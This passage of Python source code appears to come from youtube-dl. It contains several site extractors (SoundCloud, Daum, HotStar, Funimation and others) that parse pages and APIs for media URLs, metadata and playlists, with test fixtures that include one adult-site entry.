            'title': 'The Akashic Chronicler (Playlists)',
        },
        'playlist_mincount': 3,
    }, {
        'url': 'https://soundcloud.com/the-akashic-chronicler/reposts',
        'info_dict': {
            'id': '114582580',
            'title': 'The Akashic Chronicler (Reposts)',
        },
        'playlist_mincount': 7,
    }, {
        'url': 'https://soundcloud.com/the-akashic-chronicler/likes',
        'info_dict': {
            'id': '114582580',
            'title': 'The Akashic Chronicler (Likes)',
        },
        'playlist_mincount': 321,
    }, {
        'url': 'https://soundcloud.com/grynpyret/spotlight',
        'info_dict': {
            'id': '7098329',
            'title': 'Grynpyret (Spotlight)',
        },
        'playlist_mincount': 1,
    }]

    _API_BASE = 'https://api.soundcloud.com'
    _API_V2_BASE = 'https://api-v2.soundcloud.com'

    _BASE_URL_MAP = {
        'all': '%s/profile/soundcloud:users:%%s' % _API_V2_BASE,
        'tracks': '%s/users/%%s/tracks' % _API_BASE,
        'sets': '%s/users/%%s/playlists' % _API_V2_BASE,
        'reposts': '%s/profile/soundcloud:users:%%s/reposts' % _API_V2_BASE,
        'likes': '%s/users/%%s/likes' % _API_V2_BASE,
        'spotlight': '%s/users/%%s/spotlight' % _API_V2_BASE,
    }

    _TITLE_MAP = {
        'all': 'All',
        'tracks': 'Tracks',
        'sets': 'Playlists',
        'reposts': 'Reposts',
        'likes': 'Likes',
        'spotlight': 'Spotlight',
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        uploader = mobj.group('user')

        url = 'http://soundcloud.com/%s/' % uploader
        resolv_url = self._resolv_url(url)
        user = self._download_json(
            resolv_url, uploader, 'Downloading user info')

        resource = mobj.group('rsrc') or 'all'
        base_url = self._BASE_URL_MAP[resource] % user['id']

        COMMON_QUERY = {
            'limit': 50,
            'client_id': self._CLIENT_ID,
            'linked_partitioning': '1',
        }

        query = COMMON_QUERY.copy()
        query['offset'] = 0

        next_href = base_url + '?' + compat_urllib_parse_urlencode(query)

        entries = []
        for i in itertools.count():
            response = self._download_json(
                next_href, uploader, 'Downloading track page %s' % (i + 1))

            collection = response['collection']
            if not collection:
                break

            def resolve_permalink_url(candidates):
                for cand in candidates:
                    if isinstance(cand, dict):
                        permalink_url = cand.get('permalink_url')
                        if permalink_url and permalink_url.startswith('http'):
                            return permalink_url

            for e in collection:
                permalink_url = resolve_permalink_url((e, e.get('track'), e.get('playlist')))
                if permalink_url:
                    entries.append(self.url_result(permalink_url))

            next_href = response.get('next_href')
            if not next_href:
                break

            parsed_next_href = compat_urlparse.urlparse(response['next_href'])
            qs = compat_urlparse.parse_qs(parsed_next_href.query)
            qs.update(COMMON_QUERY)
            next_href = compat_urlparse.urlunparse(
                parsed_next_href._replace(query=compat_urllib_parse_urlencode(qs, True)))

        return {
            '_type': 'playlist',
            'id': compat_str(user['id']),
            'title': '%s (%s)' % (user['username'], self._TITLE_MAP[resource]),
            'entries': entries,
        }


class SoundcloudPlaylistIE(SoundcloudIE):
    _VALID_URL = r'https?://api\.soundcloud\.com/playlists/(?P<id>[0-9]+)(?:/?\?secret_token=(?P<token>[^&]+?))?$'
    IE_NAME = 'soundcloud:playlist'
    _TESTS = [{
        'url': 'http://api.soundcloud.com/playlists/4110309',
        'info_dict': {
            'id': '4110309',
            'title': 'TILT Brass - Bowery Poetry Club, August \'03 [Non-Site SCR 02]',
            'description': 're:.*?TILT Brass - Bowery Poetry Club',
        },
        'playlist_count': 6,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        playlist_id = mobj.group('id')
        base_url = '%s//api.soundcloud.com/playlists/%s.json?' % (self.http_scheme(), playlist_id)

        data_dict = {
            'client_id': self._CLIENT_ID,
        }
        token = mobj.group('token')

        if token:
            data_dict['secret_token'] = token

        data = compat_urllib_parse_urlencode(data_dict)
        data = self._download_json(
            base_url + data, playlist_id, 'Downloading playlist')

        entries = [self.url_result(track['permalink_url'], 'Soundcloud') for track in data['tracks']]

        return {
            '_type': 'playlist',
            'id': playlist_id,
            'title': data.get('title'),
            'description': data.get('description'),
            'entries': entries,
        }


class SoundcloudSearchIE(SearchInfoExtractor, SoundcloudIE):
    IE_NAME = 'soundcloud:search'
    IE_DESC = 'Soundcloud search'
    _MAX_RESULTS = float('inf')
    _TESTS = [{
        'url': 'scsearch15:post-avant jazzcore',
        'info_dict': {
            'title': 'post-avant jazzcore',
        },
        'playlist_count': 15,
    }]

    _SEARCH_KEY = 'scsearch'
    _MAX_RESULTS_PER_PAGE = 200
    _DEFAULT_RESULTS_PER_PAGE = 50
    _API_V2_BASE = 'https://api-v2.soundcloud.com'

    def _get_collection(self, endpoint, collection_id, **query):
        limit = min(
            query.get('limit', self._DEFAULT_RESULTS_PER_PAGE),
            self._MAX_RESULTS_PER_PAGE)
        query['limit'] = limit
        query['client_id'] = self._CLIENT_ID
        query['linked_partitioning'] = '1'
        query['offset'] = 0
        data = compat_urllib_parse_urlencode(query)
        next_url = '{0}{1}?{2}'.format(self._API_V2_BASE, endpoint, data)

        collected_results = 0

        for i in itertools.count(1):
            response = self._download_json(
                next_url, collection_id, 'Downloading page {0}'.format(i),
                'Unable to download API page')

            collection = response.get('collection', [])
            if not collection:
                break

            collection = list(filter(bool, collection))
            collected_results += len(collection)

            for item in collection:
                yield self.url_result(item['uri'], SoundcloudIE.ie_key())

            if not collection or collected_results >= limit:
                break

            next_url = response.get('next_href')
            if not next_url:
                break

    def _get_n_results(self, query, n):
        tracks = self._get_collection('/search/tracks', query, limit=n, q=query)
        return self.playlist_result(tracks, playlist_title=query)






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor


class MakerTVIE(InfoExtractor):
    _VALID_URL = r'https?://(?:(?:www\.)?maker\.tv/(?:[^/]+/)*video|makerplayer.com/embed/maker)/(?P<id>[a-zA-Z0-9]{12})'
    _TEST = {
        'url': 'http://www.maker.tv/video/Fh3QgymL9gsc',
        'md5': 'ca237a53a8eb20b6dc5bd60564d4ab3e',
        'info_dict': {
            'id': 'Fh3QgymL9gsc',
            'ext': 'mp4',
            'title': 'Maze Runner: The Scorch Trials Official Movie Review',
            'description': 'md5:11ff3362d7ef1d679fdb649f6413975a',
            'upload_date': '20150918',
            'timestamp': 1442549540,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)
        jwplatform_id = self._search_regex(r'jw_?id="([^"]+)"', webpage, 'jwplatform id')

        return {
            '_type': 'url_transparent',
            'id': video_id,
            'url': 'jwplatform:%s' % jwplatform_id,
            'ie_key': 'JWPlatform',
        }






from __future__ import unicode_literals

import json

from .common import InfoExtractor
from ..utils import (
    remove_start,
    int_or_none,
)


class BlinkxIE(InfoExtractor):
    _VALID_URL = r'(?:https?://(?:www\.)blinkx\.com/#?ce/|blinkx:)(?P<id>[^?]+)'
    IE_NAME = 'blinkx'

    _TEST = {
        'url': 'http://www.blinkx.com/ce/Da0Gw3xc5ucpNduzLuDDlv4WC9PuI4fDi1-t6Y3LyfdY2SZS5Urbvn-UPJvrvbo8LTKTc67Wu2rPKSQDJyZeeORCR8bYkhs8lI7eqddznH2ofh5WEEdjYXnoRtj7ByQwt7atMErmXIeYKPsSDuMAAqJDlQZ-3Ff4HJVeH_s3Gh8oQ',
        'md5': '337cf7a344663ec79bf93a526a2e06c7',
        'info_dict': {
            'id': 'Da0Gw3xc',
            'ext': 'mp4',
            'title': 'No Daily Show for John Oliver; HBO Show Renewed - IGN News',
            'uploader': 'IGN News',
            'upload_date': '20150217',
            'timestamp': 1424215740,
            'description': 'HBO has renewed Last Week Tonight With John Oliver for two more seasons.',
            'duration': 47.743333,
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        display_id = video_id[:8]

        api_url = ('https://apib4.blinkx.com/api.php?action=play_video&' +
                   'video=%s' % video_id)
        data_json = self._download_webpage(api_url, display_id)
        data = json.loads(data_json)['api']['results'][0]
        duration = None
        thumbnails = []
        formats = []
        for m in data['media']:
            if m['type'] == 'jpg':
                thumbnails.append({
                    'url': m['link'],
                    'width': int(m['w']),
                    'height': int(m['h']),
                })
            elif m['type'] == 'original':
                duration = float(m['d'])
            elif m['type'] == 'youtube':
                yt_id = m['link']
                self.to_screen('Youtube video detected: %s' % yt_id)
                return self.url_result(yt_id, 'Youtube', video_id=yt_id)
            elif m['type'] in ('flv', 'mp4'):
                vcodec = remove_start(m['vcodec'], 'ff')
                acodec = remove_start(m['acodec'], 'ff')
                vbr = int_or_none(m.get('vbr') or m.get('vbitrate'), 1000)
                abr = int_or_none(m.get('abr') or m.get('abitrate'), 1000)
                tbr = vbr + abr if vbr and abr else None
                format_id = '%s-%sk-%s' % (vcodec, tbr, m['w'])
                formats.append({
                    'format_id': format_id,
                    'url': m['link'],
                    'vcodec': vcodec,
                    'acodec': acodec,
                    'abr': abr,
                    'vbr': vbr,
                    'tbr': tbr,
                    'width': int_or_none(m.get('w')),
                    'height': int_or_none(m.get('h')),
                })

        self._sort_formats(formats)

        return {
            'id': display_id,
            'fullid': video_id,
            'title': data['title'],
            'formats': formats,
            'uploader': data['channel_name'],
            'timestamp': data['pubdate_epoch'],
            'description': data.get('description'),
            'thumbnails': thumbnails,
            'duration': duration,
        }






from __future__ import unicode_literals

from ..utils import (
    int_or_none,
    str_to_int,
    unified_strdate,
)
from .keezmovies import KeezMoviesIE


class MofosexIE(KeezMoviesIE):
    _VALID_URL = r'https?://(?:www\.)?mofosex\.com/videos/(?P<id>\d+)/(?P<display_id>[^/?#&.]+)\.html'
    _TESTS = [{
        'url': 'http://www.mofosex.com/videos/318131/amateur-teen-playing-and-masturbating-318131.html',
        'md5': '39a15853632b7b2e5679f92f69b78e91',
        'info_dict': {
            'id': '318131',
            'display_id': 'amateur-teen-playing-and-masturbating-318131',
            'ext': 'mp4',
            'title': 'amateur teen playing and masturbating',
            'thumbnail': 're:^https?://.*\.jpg$',
            'upload_date': '20121114',
            'view_count': int,
            'like_count': int,
            'dislike_count': int,
            'age_limit': 18,
        }
    }, {
        # This video is no longer available
        'url': 'http://www.mofosex.com/videos/5018/japanese-teen-music-video.html',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        webpage, info = self._extract_info(url)

        view_count = str_to_int(self._search_regex(
            r'VIEWS:</span>\s*([\d,.]+)', webpage, 'view count', fatal=False))
        like_count = int_or_none(self._search_regex(
            r'id=["\']amountLikes["\'][^>]*>(\d+)', webpage,
            'like count', fatal=False))
        dislike_count = int_or_none(self._search_regex(
            r'id=["\']amountDislikes["\'][^>]*>(\d+)', webpage,
            'like count', fatal=False))
        upload_date = unified_strdate(self._html_search_regex(
            r'Added:</span>([^<]+)', webpage, 'upload date', fatal=False))

        info.update({
            'view_count': view_count,
            'like_count': like_count,
            'dislike_count': dislike_count,
            'upload_date': upload_date,
            'thumbnail': self._og_search_thumbnail(webpage),
        })

        return info






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    remove_end,
    unified_strdate,
)


class NDTVIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?ndtv\.com/video/(?:[^/]+/)+[^/?^&]+-(?P<id>\d+)'

    _TEST = {
        'url': 'http://www.ndtv.com/video/news/news/ndtv-exclusive-don-t-need-character-certificate-from-rahul-gandhi-says-arvind-kejriwal-300710',
        'md5': '39f992dbe5fb531c395d8bbedb1e5e88',
        'info_dict': {
            'id': '300710',
            'ext': 'mp4',
            'title': "NDTV exclusive: Don't need character certificate from Rahul Gandhi, says Arvind Kejriwal",
            'description': 'md5:ab2d4b4a6056c5cb4caa6d729deabf02',
            'upload_date': '20131208',
            'duration': 1327,
            'thumbnail': 're:https?://.*\.jpg',
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        title = remove_end(self._og_search_title(webpage), ' - NDTV')

        filename = self._search_regex(
            r"__filename='([^']+)'", webpage, 'video filename')
        video_url = 'http://bitcast-b.bitgravity.com/ndtvod/23372/ndtv/%s' % filename

        duration = int_or_none(self._search_regex(
            r"__duration='([^']+)'", webpage, 'duration', fatal=False))

        upload_date = unified_strdate(self._html_search_meta(
            'publish-date', webpage, 'upload date', fatal=False))

        description = remove_end(self._og_search_description(webpage), ' (Read more)')

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'description': description,
            'thumbnail': self._og_search_thumbnail(webpage),
            'duration': duration,
            'upload_date': upload_date,
        }






# encoding: utf-8

from __future__ import unicode_literals

import re
import itertools

from .common import InfoExtractor
from ..compat import (
    compat_parse_qs,
    compat_urllib_parse_unquote,
    compat_urllib_parse_urlencode,
    compat_urlparse,
)
from ..utils import (
    int_or_none,
    str_to_int,
    xpath_text,
    unescapeHTML,
)


class DaumIE(InfoExtractor):
    _VALID_URL = r'https?://(?:(?:m\.)?tvpot\.daum\.net/v/|videofarm\.daum\.net/controller/player/VodPlayer\.swf\?vid=)(?P<id>[^?#&]+)'
    IE_NAME = 'daum.net'

    _TESTS = [{
        'url': 'http://tvpot.daum.net/v/vab4dyeDBysyBssyukBUjBz',
        'info_dict': {
            'id': 'vab4dyeDBysyBssyukBUjBz',
            'ext': 'mp4',
            'title': '마크 헌트 vs 안토니오 실바',
            'description': 'Mark Hunt vs Antonio Silva',
            'upload_date': '20131217',
            'thumbnail': 're:^https?://.*\.(?:jpg|png)',
            'duration': 2117,
            'view_count': int,
            'comment_count': int,
        },
    }, {
        'url': 'http://m.tvpot.daum.net/v/65139429',
        'info_dict': {
            'id': '65139429',
            'ext': 'mp4',
            'title': '1297회, \'아빠 아들로 태어나길 잘 했어\' 민수, 감동의 눈물[아빠 어디가] 20150118',
            'description': 'md5:79794514261164ff27e36a21ad229fc5',
            'upload_date': '20150604',
            'thumbnail': 're:^https?://.*\.(?:jpg|png)',
            'duration': 154,
            'view_count': int,
            'comment_count': int,
        },
    }, {
        'url': 'http://tvpot.daum.net/v/07dXWRka62Y%24',
        'only_matching': True,
    }, {
        'url': 'http://videofarm.daum.net/controller/player/VodPlayer.swf?vid=vwIpVpCQsT8%24&ref=',
        'info_dict': {
            'id': 'vwIpVpCQsT8$',
            'ext': 'flv',
            'title': '01-Korean War ( Trouble on the horizon )',
            'description': '\nKorean War 01\nTrouble on the horizon\n전쟁의 먹구름',
            'upload_date': '20080223',
            'thumbnail': 're:^https?://.*\.(?:jpg|png)',
            'duration': 249,
            'view_count': int,
            'comment_count': int,
        },
    }, {
        # Requires dte_type=WEB (#9972)
        'url': 'http://tvpot.daum.net/v/s3794Uf1NZeZ1qMpGpeqeRU',
        'md5': 'a8917742069a4dd442516b86e7d66529',
        'info_dict': {
            'id': 's3794Uf1NZeZ1qMpGpeqeRU',
            'ext': 'mp4',
            'title': '러블리즈 - Destiny (나의 지구) (Lovelyz - Destiny) [쇼! 음악중심] 508회 20160611',
            'description': '러블리즈 - Destiny (나의 지구) (Lovelyz - Destiny)\n\n[쇼! 음악중심] 20160611, 507회',
            'upload_date': '20160611',
        },
    }]

    def _real_extract(self, url):
        video_id = compat_urllib_parse_unquote(self._match_id(url))
        movie_data = self._download_json(
            'http://videofarm.daum.net/controller/api/closed/v1_2/IntegratedMovieData.json',
            video_id, 'Downloading video formats info', query={'vid': video_id, 'dte_type': 'WEB'})

        # For urls like http://m.tvpot.daum.net/v/65139429, where the video_id is really a clipid
        if not movie_data.get('output_list', {}).get('output_list') and re.match(r'^\d+$', video_id):
            return self.url_result('http://tvpot.daum.net/clip/ClipView.do?clipid=%s' % video_id)

        info = self._download_xml(
            'http://tvpot.daum.net/clip/ClipInfoXml.do', video_id,
            'Downloading video info', query={'vid': video_id})

        formats = []
        for format_el in movie_data['output_list']['output_list']:
            profile = format_el['profile']
            format_query = compat_urllib_parse_urlencode({
                'vid': video_id,
                'profile': profile,
            })
            url_doc = self._download_xml(
                'http://videofarm.daum.net/controller/api/open/v1_2/MovieLocation.apixml?' + format_query,
                video_id, note='Downloading video data for %s format' % profile)
            format_url = url_doc.find('result/url').text
            formats.append({
                'url': format_url,
                'format_id': profile,
                'width': int_or_none(format_el.get('width')),
                'height': int_or_none(format_el.get('height')),
                'filesize': int_or_none(format_el.get('filesize')),
            })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': info.find('TITLE').text,
            'formats': formats,
            'thumbnail': xpath_text(info, 'THUMB_URL'),
            'description': xpath_text(info, 'CONTENTS'),
            'duration': int_or_none(xpath_text(info, 'DURATION')),
            'upload_date': info.find('REGDTTM').text[:8],
            'view_count': str_to_int(xpath_text(info, 'PLAY_CNT')),
            'comment_count': str_to_int(xpath_text(info, 'COMMENT_CNT')),
        }


class DaumClipIE(InfoExtractor):
    _VALID_URL = r'https?://(?:m\.)?tvpot\.daum\.net/(?:clip/ClipView.(?:do|tv)|mypot/View.do)\?.*?clipid=(?P<id>\d+)'
    IE_NAME = 'daum.net:clip'
    _URL_TEMPLATE = 'http://tvpot.daum.net/clip/ClipView.do?clipid=%s'

    _TESTS = [{
        'url': 'http://tvpot.daum.net/clip/ClipView.do?clipid=52554690',
        'info_dict': {
            'id': '52554690',
            'ext': 'mp4',
            'title': 'DOTA 2GETHER 시즌2 6회 - 2부',
            'description': 'DOTA 2GETHER 시즌2 6회 - 2부',
            'upload_date': '20130831',
            'thumbnail': 're:^https?://.*\.(?:jpg|png)',
            'duration': 3868,
            'view_count': int,
        },
    }, {
        'url': 'http://m.tvpot.daum.net/clip/ClipView.tv?clipid=54999425',
        'only_matching': True,
    }]

    @classmethod
    def suitable(cls, url):
        return False if DaumPlaylistIE.suitable(url) or DaumUserIE.suitable(url) else super(DaumClipIE, cls).suitable(url)

    def _real_extract(self, url):
        video_id = self._match_id(url)
        clip_info = self._download_json(
            'http://tvpot.daum.net/mypot/json/GetClipInfo.do?clipid=%s' % video_id,
            video_id, 'Downloading clip info')['clip_bean']

        return {
            '_type': 'url_transparent',
            'id': video_id,
            'url': 'http://tvpot.daum.net/v/%s' % clip_info['vid'],
            'title': unescapeHTML(clip_info['title']),
            'thumbnail': clip_info.get('thumb_url'),
            'description': clip_info.get('contents'),
            'duration': int_or_none(clip_info.get('duration')),
            'upload_date': clip_info.get('up_date')[:8],
            'view_count': int_or_none(clip_info.get('play_count')),
            'ie_key': 'Daum',
        }


class DaumListIE(InfoExtractor):
    def _get_entries(self, list_id, list_id_type):
        name = None
        entries = []
        for pagenum in itertools.count(1):
            list_info = self._download_json(
                'http://tvpot.daum.net/mypot/json/GetClipInfo.do?size=48&init=true&order=date&page=%d&%s=%s' % (
                    pagenum, list_id_type, list_id), list_id, 'Downloading list info - %s' % pagenum)

            entries.extend([
                self.url_result(
                    'http://tvpot.daum.net/v/%s' % clip['vid'])
                for clip in list_info['clip_list']
            ])

            if not name:
                name = list_info.get('playlist_bean', {}).get('name') or \
                    list_info.get('potInfo', {}).get('name')

            if not list_info.get('has_more'):
                break

        return name, entries

    def _check_clip(self, url, list_id):
        query_dict = compat_parse_qs(compat_urlparse.urlparse(url).query)
        if 'clipid' in query_dict:
            clip_id = query_dict['clipid'][0]
            if self._downloader.params.get('noplaylist'):
                self.to_screen('Downloading just video %s because of --no-playlist' % clip_id)
                return self.url_result(DaumClipIE._URL_TEMPLATE % clip_id, 'DaumClip')
            else:
                self.to_screen('Downloading playlist %s - add --no-playlist to just download video' % list_id)


class DaumPlaylistIE(DaumListIE):
    _VALID_URL = r'https?://(?:m\.)?tvpot\.daum\.net/mypot/(?:View\.do|Top\.tv)\?.*?playlistid=(?P<id>[0-9]+)'
    IE_NAME = 'daum.net:playlist'
    _URL_TEMPLATE = 'http://tvpot.daum.net/mypot/View.do?playlistid=%s'

    _TESTS = [{
        'note': 'Playlist url with clipid',
        'url': 'http://tvpot.daum.net/mypot/View.do?playlistid=6213966&clipid=73806844',
        'info_dict': {
            'id': '6213966',
            'title': 'Woorissica Official',
        },
        'playlist_mincount': 181
    }, {
        'note': 'Playlist url with clipid - noplaylist',
        'url': 'http://tvpot.daum.net/mypot/View.do?playlistid=6213966&clipid=73806844',
        'info_dict': {
            'id': '73806844',
            'ext': 'mp4',
            'title': '151017 Airport',
            'upload_date': '20160117',
        },
        'params': {
            'noplaylist': True,
            'skip_download': True,
        }
    }]

    @classmethod
    def suitable(cls, url):
        return False if DaumUserIE.suitable(url) else super(DaumPlaylistIE, cls).suitable(url)

    def _real_extract(self, url):
        list_id = self._match_id(url)

        clip_result = self._check_clip(url, list_id)
        if clip_result:
            return clip_result

        name, entries = self._get_entries(list_id, 'playlistid')

        return self.playlist_result(entries, list_id, name)


class DaumUserIE(DaumListIE):
    _VALID_URL = r'https?://(?:m\.)?tvpot\.daum\.net/mypot/(?:View|Top)\.(?:do|tv)\?.*?ownerid=(?P<id>[0-9a-zA-Z]+)'
    IE_NAME = 'daum.net:user'

    _TESTS = [{
        'url': 'http://tvpot.daum.net/mypot/View.do?ownerid=o2scDLIVbHc0',
        'info_dict': {
            'id': 'o2scDLIVbHc0',
            'title': '마이 리틀 텔레비전',
        },
        'playlist_mincount': 213
    }, {
        'url': 'http://tvpot.daum.net/mypot/View.do?ownerid=o2scDLIVbHc0&clipid=73801156',
        'info_dict': {
            'id': '73801156',
            'ext': 'mp4',
            'title': '[미공개] 김구라, 오만석이 부릅니다 \'오케피\' - 마이 리틀 텔레비전 20160116',
            'upload_date': '20160117',
            'description': 'md5:5e91d2d6747f53575badd24bd62b9f36'
        },
        'params': {
            'noplaylist': True,
            'skip_download': True,
        }
    }, {
        'note': 'Playlist url has ownerid and playlistid, playlistid takes precedence',
        'url': 'http://tvpot.daum.net/mypot/View.do?ownerid=o2scDLIVbHc0&playlistid=6196631',
        'info_dict': {
            'id': '6196631',
            'title': '마이 리틀 텔레비전 - 20160109',
        },
        'playlist_count': 11
    }, {
        'url': 'http://tvpot.daum.net/mypot/Top.do?ownerid=o2scDLIVbHc0',
        'only_matching': True,
    }, {
        'url': 'http://m.tvpot.daum.net/mypot/Top.tv?ownerid=45x1okb1If50&playlistid=3569733',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        list_id = self._match_id(url)

        clip_result = self._check_clip(url, list_id)
        if clip_result:
            return clip_result

        query_dict = compat_parse_qs(compat_urlparse.urlparse(url).query)
        if 'playlistid' in query_dict:
            playlist_id = query_dict['playlistid'][0]
            return self.url_result(DaumPlaylistIE._URL_TEMPLATE % playlist_id, 'DaumPlaylist')

        name, entries = self._get_entries(list_id, 'ownerid')

        return self.playlist_result(entries, list_id, name)






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    determine_ext,
    int_or_none,
)


class HotStarIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?hotstar\.com/(?:.+?[/-])?(?P<id>\d{10})'
    _TESTS = [{
        'url': 'http://www.hotstar.com/on-air-with-aib--english-1000076273',
        'info_dict': {
            'id': '1000076273',
            'ext': 'mp4',
            'title': 'On Air With AIB - English',
            'description': 'md5:c957d8868e9bc793ccb813691cc4c434',
            'timestamp': 1447227000,
            'upload_date': '20151111',
            'duration': 381,
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        }
    }, {
        'url': 'http://www.hotstar.com/sports/cricket/rajitha-sizzles-on-debut-with-329/2001477583',
        'only_matching': True,
    }, {
        'url': 'http://www.hotstar.com/1000000515',
        'only_matching': True,
    }]

    _GET_CONTENT_TEMPLATE = 'http://account.hotstar.com/AVS/besc?action=GetAggregatedContentDetails&channel=PCTV&contentId=%s'
    _GET_CDN_TEMPLATE = 'http://getcdn.hotstar.com/AVS/besc?action=GetCDN&asJson=Y&channel=%s&id=%s&type=%s'

    def _download_json(self, url_or_request, video_id, note='Downloading JSON metadata', fatal=True):
        json_data = super(HotStarIE, self)._download_json(url_or_request, video_id, note, fatal=fatal)
        if json_data['resultCode'] != 'OK':
            if fatal:
                raise ExtractorError(json_data['errorDescription'])
            return None
        return json_data['resultObj']

    def _real_extract(self, url):
        video_id = self._match_id(url)
        video_data = self._download_json(
            self._GET_CONTENT_TEMPLATE % video_id,
            video_id)['contentInfo'][0]

        formats = []
        # PCTV for extracting f4m manifest
        for f in ('TABLET',):
            format_data = self._download_json(
                self._GET_CDN_TEMPLATE % (f, video_id, 'VOD'),
                video_id, 'Downloading %s JSON metadata' % f, fatal=False)
            if format_data:
                format_url = format_data['src']
                ext = determine_ext(format_url)
                if ext == 'm3u8':
                    formats.extend(self._extract_m3u8_formats(format_url, video_id, 'mp4', m3u8_id='hls', fatal=False))
                elif ext == 'f4m':
                    # produce broken files
                    continue
                else:
                    formats.append({
                        'url': format_url,
                        'width': int_or_none(format_data.get('width')),
                        'height': int_or_none(format_data.get('height')),
                    })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': video_data['episodeTitle'],
            'description': video_data.get('description'),
            'duration': int_or_none(video_data.get('duration')),
            'timestamp': int_or_none(video_data.get('broadcastDate')),
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import (
    compat_HTTPError,
    compat_urllib_parse_unquote_plus,
)
from ..utils import (
    clean_html,
    determine_ext,
    int_or_none,
    sanitized_Request,
    ExtractorError,
    urlencode_postdata
)


class FunimationIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?funimation\.com/shows/[^/]+/videos/(?:official|promotional)/(?P<id>[^/?#&]+)'

    _NETRC_MACHINE = 'funimation'

    _TESTS = [{
        'url': 'http://www.funimation.com/shows/air/videos/official/breeze',
        'info_dict': {
            'id': '658',
            'display_id': 'breeze',
            'ext': 'mp4',
            'title': 'Air - 1 - Breeze',
            'description': 'md5:1769f43cd5fc130ace8fd87232207892',
            'thumbnail': 're:https?://.*\.jpg',
        },
        'skip': 'Access without user interaction is forbidden by CloudFlare, and video removed',
    }, {
        'url': 'http://www.funimation.com/shows/hacksign/videos/official/role-play',
        'info_dict': {
            'id': '31128',
            'display_id': 'role-play',
            'ext': 'mp4',
            'title': '.hack//SIGN - 1 - Role Play',
            'description': 'md5:b602bdc15eef4c9bbb201bb6e6a4a2dd',
            'thumbnail': 're:https?://.*\.jpg',
        },
        'skip': 'Access without user interaction is forbidden by CloudFlare',
    }, {
        'url': 'http://www.funimation.com/shows/attack-on-titan-junior-high/videos/promotional/broadcast-dub-preview',
        'info_dict': {
            'id': '9635',
            'display_id': 'broadcast-dub-preview',
            'ext': 'mp4',
            'title': 'Attack on Titan: Junior High - Broadcast Dub Preview',
            'description': 'md5:f8ec49c0aff702a7832cd81b8a44f803',
            'thumbnail': 're:https?://.*\.(?:jpg|png)',
        },
        'skip': 'Access without user interaction is forbidden by CloudFlare',
    }]

    _LOGIN_URL = 'http://www.funimation.com/login'

    def _download_webpage(self, *args, **kwargs):
        try:
            return super(FunimationIE, self)._download_webpage(*args, **kwargs)
        except ExtractorError as ee:
            if isinstance(ee.cause, compat_HTTPError) and ee.cause.code == 403:
                response = ee.cause.read()
                if b'>Please complete the security check to access<' in response:
                    raise ExtractorError(
                        'Access to funimation.com is blocked by CloudFlare. '
                        'Please browse to http://www.funimation.com/, solve '
                        'the reCAPTCHA, export browser cookies to a text file,'
                        ' and then try again with --cookies YOUR_COOKIE_FILE.',
                        expected=True)
            raise

    def _extract_cloudflare_session_ua(self, url):
        ci_session_cookie = self._get_cookies(url).get('ci_session')
        if ci_session_cookie:
            ci_session = compat_urllib_parse_unquote_plus(ci_session_cookie.value)
            # ci_session is a string serialized by PHP function serialize()
            # This case is simple enough to use regular expressions only
            return self._search_regex(
                r'"user_agent";s:\d+:"([^"]+)"', ci_session, 'user agent',
                default=None)

    def _login(self):
        (username, password) = self._get_login_info()
        if username is None:
            return
        data = urlencode_postdata({
            'email_field': username,
            'password_field': password,
        })
        user_agent = self._extract_cloudflare_session_ua(self._LOGIN_URL)
        if not user_agent:
            user_agent = 'Mozilla/5.0 (Windows NT 5.2; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0'
        login_request = sanitized_Request(self._LOGIN_URL, data, headers={
            'User-Agent': user_agent,
            'Content-Type': 'application/x-www-form-urlencoded'
        })
        login_page = self._download_webpage(
            login_request, None, 'Logging in as %s' % username)
        if any(p in login_page for p in ('funimation.com/logout', '>Log Out<')):
            return
        error = self._html_search_regex(
            r'(?s)<div[^>]+id=["\']errorMessages["\'][^>]*>(.+?)</div>',
            login_page, 'error messages', default=None)
        if error:
            raise ExtractorError('Unable to login: %s' % error, expected=True)
        raise ExtractorError('Unable to log in')

    def _real_initialize(self):
        self._login()

    def _real_extract(self, url):
        display_id = self._match_id(url)

        errors = []
        formats = []

        ERRORS_MAP = {
            'ERROR_MATURE_CONTENT_LOGGED_IN': 'matureContentLoggedIn',
            'ERROR_MATURE_CONTENT_LOGGED_OUT': 'matureContentLoggedOut',
            'ERROR_SUBSCRIPTION_LOGGED_OUT': 'subscriptionLoggedOut',
            'ERROR_VIDEO_EXPIRED': 'videoExpired',
            'ERROR_TERRITORY_UNAVAILABLE': 'territoryUnavailable',
            'SVODBASIC_SUBSCRIPTION_IN_PLAYER': 'basicSubscription',
            'SVODNON_SUBSCRIPTION_IN_PLAYER': 'nonSubscription',
            'ERROR_PLAYER_NOT_RESPONDING': 'playerNotResponding',
            'ERROR_UNABLE_TO_CONNECT_TO_CDN': 'unableToConnectToCDN',
            'ERROR_STREAM_NOT_FOUND': 'streamNotFound',
        }

        USER_AGENTS = (
            # PC UA is served with m3u8 that provides some bonus lower quality formats
            ('pc', 'Mozilla/5.0 (Windows NT 5.2; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0'),
            # Mobile UA allows to extract direct links and also does not fail when
            # PC UA fails with hulu error (e.g.
            # http://www.funimation.com/shows/hacksign/videos/official/role-play)
